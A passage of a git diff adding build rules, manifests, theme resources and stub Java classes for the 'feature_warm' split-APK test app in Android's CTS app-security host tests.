+        <item name="android:statusBarColor">@color/rose_status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
new file mode 100644
index 0000000..5803fdf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class RoseThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
new file mode 100644
index 0000000..79af956
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
@@ -0,0 +1,95 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_defaults {
+    name: "CtsSplitAppFeatureWarmDefaults",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    asset_dirs: ["assets"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    libs: ["CtsSplitApp"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitAppFeatureWarm",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    package_splits: [
+        "v7",
+        "v23",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+        "--package-id 0x80",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant requiring a split for install
+android_test_helper_app {
+    name: "CtsNeedSplitFeatureWarm",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    manifest: "needsplit/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 12",
+        "--version-name OneHundredRevisionTwelve",
+        "--replace-version",
+        "--package-id 0x80",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with different codes and resources for the inherit updated test of the
+// feature_warm apk
+android_test_helper_app {
+    name: "CtsSplitAppFeatureWarmRevisionA",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+    resource_dirs: ["res", "revision_a/res"],
+    asset_dirs: ["revision_a/assets"],
+    manifest : "revision_a/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 10",
+        "--version-name OneHundredRevisionTen",
+        "--replace-version",
+        "--package-id 0x80",
+        "--auto-add-overlay",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
new file mode 100644
index 0000000..01cb9b7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_warm">
+
+    <uses-sdk android:minSdkVersion="4"
+         android:targetSdkVersion="27"/>
+
+    <!-- New permission should be ignored -->
+    <uses-permission android:name="android.permission.INTERNET"/>
+
+    <!-- New application flag should be ignored -->
+    <application android:largeHeap="true">
+        <activity android:name=".FeatureActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".FeatureReceiver"
+             android:enabled="@bool/feature_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <service android:name=".FeatureService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.service"/>
+            </intent-filter>
+        </service>
+        <provider android:name=".FeatureProvider"
+             android:authorities="com.android.cts.splitapp.provider"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/lint-baseline.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/lint-baseline.xml
new file mode 100644
index 0000000..5e46a6b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/lint-baseline.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<issues format="5" by="lint 4.1.0" client="cli" variant="all" version="4.1.0">
+
+    <issue
+        id="NewApi"
+        message="`android:statusBarColor` requires API level 21 (current min is 4)"
+        errorLine1="        &lt;item name=&quot;android:statusBarColor&quot;>@color/warm_status_bar_color&lt;/item>"
+        errorLine2="              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml"
+            line="21"
+            column="15"/>
+    </issue>
+
+</issues>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
new file mode 100644
index 0000000..927c95e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_warm"
+     android:isSplitRequired="true">
+
+    <uses-sdk android:minSdkVersion="4"
+         android:targetSdkVersion="27"/>
+
+    <!-- New permission should be ignored -->
+    <uses-permission android:name="android.permission.INTERNET"/>
+
+    <!-- New application flag should be ignored -->
+    <application android:largeHeap="true">
+        <activity android:name=".FeatureActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".FeatureReceiver"
+             android:enabled="@bool/feature_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <service android:name=".FeatureService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.service"/>
+            </intent-filter>
+        </service>
+        <provider android:name=".FeatureProvider"
+             android:authorities="com.android.cts.splitapp.provider"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
new file mode 100644
index 0000000..d9a8bf2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light warm colors for Theme_Warm -->
+    <color name="warm_custom_color">@color/red_light</color>
+    <color name="warm_navigation_bar_color">@color/orange_light</color>
+    <color name="warm_status_bar_color">@color/yellow_light</color>
+
+    <color name="red_light">#ffffcccb</color>
+    <color name="orange_light">#fffed8b1</color>
+    <color name="yellow_light">#ffffffed</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
new file mode 100644
index 0000000..bcdfda9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Warm" parent="@style/Theme_Base">
+        <item name="customColor">@color/warm_custom_color</item>
+        <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+        <item name="android:navigationBarColor">@color/warm_navigation_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
new file mode 100644
index 0000000..471403d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- warm colors for Theme_Warm -->
+    <color name="warm_custom_color">@color/red</color>
+    <color name="warm_navigation_bar_color">@color/orange</color>
+    <color name="warm_status_bar_color">@color/yellow</color>
+
+    <color name="red">#ffff0000</color>
+    <color name="orange">#ffffa500</color>
+    <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
new file mode 100644
index 0000000..2c6461a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Warm" parent="@style/Theme_Base">
+        <item name="customColor">@color/warm_custom_color</item>
+        <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+        <item name="android:statusBarColor">@color/warm_status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..5398e47
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_warm">
+
+    <uses-sdk android:minSdkVersion="4"
+         android:targetSdkVersion="27"/>
+
+    <application>
+        <!-- Updates to .revision_a.FeatureActivity -->
+        <activity android:name=".revision_a.FeatureActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".FeatureReceiver"
+             android:enabled="@bool/feature_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <!-- Updates to .revision_a.FeatureService -->
+        <service android:name=".revision_a.FeatureService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.service"/>
+            </intent-filter>
+        </service>
+        <!-- Updates to .revision_a.FeatureProvider -->
+        <provider android:name=".revision_a.FeatureProvider"
+             android:authorities="com.android.cts.splitapp.provider"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
new file mode 100644
index 0000000..bfa925e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
@@ -0,0 +1 @@
+DIRFILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
new file mode 100644
index 0000000..0c81c70
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
@@ -0,0 +1 @@
+FILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
new file mode 100644
index 0000000..a5cabe2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <bool name="feature_receiver_enabled">false</bool>
+    <string name="feature_string">red-revision</string>
+    <integer name="feature_integer">456</integer>
+
+    <string name="feature_new_string">feature new string</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
new file mode 100644
index 0000000..790c2ad
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class FeatureActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
new file mode 100644
index 0000000..f1a6fd0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class FeatureProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
new file mode 100644
index 0000000..ca59ebc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.IntentService;
+import android.content.Intent;
+
+public class FeatureService extends IntentService {
+    public FeatureService() {
+        super("Feature1Service");
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        // Ignored
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
new file mode 100644
index 0000000..3cd3110
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class WarmThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyActivity.java
new file mode 100644
index 0000000..f6f2b7c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
